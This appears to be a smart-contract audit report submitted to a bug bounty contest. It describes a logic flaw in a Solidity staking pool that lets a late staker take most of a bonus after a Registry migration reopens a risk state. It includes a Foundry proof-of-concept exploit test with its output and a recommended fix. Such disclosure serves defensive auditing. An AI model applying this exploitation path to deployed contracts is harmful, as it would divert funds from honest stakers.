FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

A Registry rewind during migration lets post-terminal stakes receive bonus for a closed risk window

Author Revealed upon completion

A Registry rewind during migration lets post-terminal stakes receive bonus for a closed risk window

Root + Impact

After the Pool observes a terminal Registry state, a legitimate migration, recovery, or configuration change may make the same agreement report active risk again. The Pool can then write riskWindowStart later than the existing riskWindowEnd and accept new stake. Settlement against the old terminal timestamp gives the post-terminal entrant a positive k=2 bonus weight, allowing a large late stake to dilute existing stakers' bonus.

This is Low severity. Incorrect bonus redistribution is Medium impact, but the path requires a Registry migration or recovery that fails to preserve terminal history, making likelihood Low. Once that condition exists, any address can exploit it by staking without Registry administrative rights.

Description

Normally, riskWindowStart must not be later than riskWindowEnd, and only stake that bore risk during that interval should participate in bonus allocation. The Pool reads getAttackRegistry() live and intentionally does not cache the attack-registry pointer in order to support Registry migration.

_observePoolState() records the start and end with separate zero-value checks. Each field can only be written once, but the code does not enforce that the start precedes the end. If the Pool first observes PRODUCTION or CORRUPTED, then a migrated Registry reports UNDER_ATTACK or PROMOTION_REQUESTED, the Pool creates an inverted time axis.

// src/ConfidencePool.sol
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
// @> Does not reject a start after an already-recorded terminal end.
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
function stake(uint256 amount) external {
// @> UNDER_ATTACK remains depositable even when riskWindowEnd is already nonzero.
_assertDepositsAllowed(_observePoolState());
// records a bonus-eligible entry
}

For example, Alice stakes 100 and the Pool has 100 bonus. At t1, the Pool observes PRODUCTION from the old Registry and sets riskWindowEnd = t1. At t2 > t1, a migrated Registry reports UNDER_ATTACK; Bob stakes 10,000, causing riskWindowStart = t2. When the replacement Registry reports PRODUCTION and the moderator flags SURVIVED, outcomeFlaggedAt remains t1. The k=2 formula squares (t1 - t2), cannot distinguish the negative time difference, and awards Bob about 10,000 / 10,100 of the bonus even though he entered after the Pool observed terminal state.

DESIGN.md treats the Registry pointer as a trusted dependency, but it also states that pointer caching is avoided to support legitimate migration and that a Registry rewind must not reopen withdrawals. The existing one-way latch prevents reopening withdrawal only; it does not seal the bonus timeline or prohibit later deposits. This report therefore does not assume a malicious owner forges Registry data. It identifies missing state-continuity protection in the supported migration model.

Risk

Likelihood:

  • The Pool records a terminal riskWindowEnd before outcome finalization.

  • A Registry migration, state recovery, or pointer update fails to preserve the agreement's terminal history and reports active risk.

  • Any external address calls stake() during that reading; no moderator authorization, signature, or non-standard token is required.

Impact:

  • riskWindowStart > riskWindowEnd breaks the risk-timeline invariant and makes post-terminal stake bonus eligible.

  • An attacker can use a large stake to capture nearly all bonus and dilute existing stakers. Principal remains returnable on the SURVIVED path.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice PoC for L-01: a migrated Registry can reopen active risk after a terminal observation.
contract L01RegistryRewindInvertsRiskWindowPoC is BaseConfidencePoolTest {
function testPoC_TerminalObservationThenRegistryRewindLetsLateStakeCaptureBonus() external {
uint256 aliceStake = 100 * ONE;
uint256 bobStake = 10_000 * ONE;
uint256 bonus = 100 * ONE;
_stake(alice, aliceStake);
_contributeBonus(carol, bonus);
// Pool observes a terminal Registry state first. It seals only riskWindowEnd and remains
// unresolved, leaving a time window in which a changed Registry pointer can be consumed.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
uint256 sealedEnd = pool.riskWindowEnd();
assertGt(sealedEnd, 0, "terminal observation was recorded");
assertEq(pool.riskWindowStart(), 0, "no prior active-risk observation");
// A replacement Registry has not inherited the terminal history and reports UNDER_ATTACK.
// stake() accepts UNDER_ATTACK and _observePoolState writes a new start after the old end.
vm.warp(sealedEnd + 1 days);
MockAttackRegistry replacementRegistry = new MockAttackRegistry();
replacementRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
safeHarborRegistry.setAttackRegistry(address(replacementRegistry));
_stake(bob, bobStake);
uint256 rewindStart = pool.riskWindowStart();
assertGt(rewindStart, sealedEnd, "risk window order is inverted");
emit log_named_uint("original terminal end", sealedEnd);
emit log_named_uint("active-risk start after migration", rewindStart);
emit log_named_uint("late stake admitted after terminal observation", bobStake);
// The replacement Registry becomes terminal again. flagOutcome keeps the original end as
// T, so both stakers are scored with (sealedEnd - rewindStart)^2, despite the negative dt.
vm.warp(rewindStart + 1 days);
replacementRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.outcomeFlaggedAt(), sealedEnd, "settlement still uses first terminal time");
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - aliceStake;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - bobStake;
// Equal (but semantically invalid) time factors cause amount-weighted allocation. Bob
// entered after the terminal observation but captures about 99% of the 100-token bonus.
assertGt(bobBonus, aliceBonus * 99, "post-terminal stake captures nearly all bonus");
emit log_named_uint("Alice bonus", aliceBonus);
emit log_named_uint("Bob bonus from post-terminal stake", bobBonus);
emit log_named_uint("Bob bonus percentage (basis points)", bobBonus * 10_000 / bonus);
}
}
[PASS] testPoC_TerminalObservationThenRegistryRewindLetsLateStakeCaptureBonus() (gas: 802481)
Logs:
original terminal end: 1750000000
active-risk start after migration: 1750086400
late stake admitted after terminal observation: 10000000000000000000000
Alice bonus: 990099009900990099
Bob bonus from post-terminal stake: 99009900990099009900
Bob bonus percentage (basis points): 9900
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.35ms (483.75µs CPU time)

Recommended Mitigation

Treat a terminal state already observed by the Pool as a local one-way latch rather than relying exclusively on later live Registry reads.

function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
- if (riskWindowStart == 0 && _isActiveRiskState(state)) {
+ if (riskWindowStart == 0 && riskWindowEnd == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
}
function stake(uint256 amount) external {
+ if (riskWindowEnd != 0) revert DepositsClosedAfterTerminalObservation();
_assertDepositsAllowed(_observePoolState());
}

The Registry migration layer should also guarantee continuity of terminal state for each agreement, and the Pool should test the invariant riskWindowStart <= riskWindowEnd whenever both values are nonzero.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!